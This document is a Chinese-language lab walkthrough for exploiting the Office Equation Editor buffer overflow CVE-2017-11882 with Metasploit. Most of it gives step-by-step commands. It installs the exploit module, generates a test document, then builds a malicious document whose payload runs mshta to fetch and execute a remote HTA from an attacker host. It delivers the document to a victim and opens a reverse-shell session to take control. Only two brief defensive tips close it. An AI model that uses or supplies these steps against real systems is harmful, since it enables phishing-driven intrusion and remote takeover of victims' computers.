CVE-2017-11882信息

CVE-2017-11882属于缓冲区溢出类型漏洞，产生漏洞原因于EQNEDT32.EXE（微软office自带公式编辑器）进程在读入包含MathType的ole数据时，在拷贝公式字体名称（Font Name数据）时没有对名称长度进行校验，导致缓冲区溢出。通过覆盖函数的返回地址，可执行任意代码。

漏洞影响

office 2003  版本

office 2007  版本

office 2010  版本

office 2013  版本

office 2016  版本

分析过程

目标主机：win10安装了office2016软件。

打开msf

搜索模块，发现是手动

我们使用github上面的项目文件

首先下载解压文件

将CVE-2017-11882-metasploit文件夹中的文件复制到以下目录

cp cve_2017_11882.rb /usr/share/metasploit-framework/modules/exploits/windows/local

cp cve-2017-11882.rtf /usr/share/metasploit-framework/data/exploits

将CVE-2017-11882-master放到kali中

鼠标右键

选择“在这里打开终端”

python2 Command109b_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test01.doc

生成测试文件

在主机上打开

测试漏洞是否存在

验证通过

更改反弹shell

打开msf，重新加载模块

msfconsole

reload_all

搜索模块

search cve-2017-11882

选择第二个

use exploit/windows/local/cve_2017_11882

设置好参数

exploit执行

返回到这里，我们生成一个反弹shell

python2 Command43b_CVE-2017-11882.py -c "mshta http://192.168.29.133:8080/pl.hta" -o rshell01.doc

将文档发送到目标主机

双击打开

有会话反弹

进入会话，获取主机控制权

sysinfo

获取当前系统信息。

测试结束

防御措施

1、及时更新office版本

2、不要点击来源不明的文件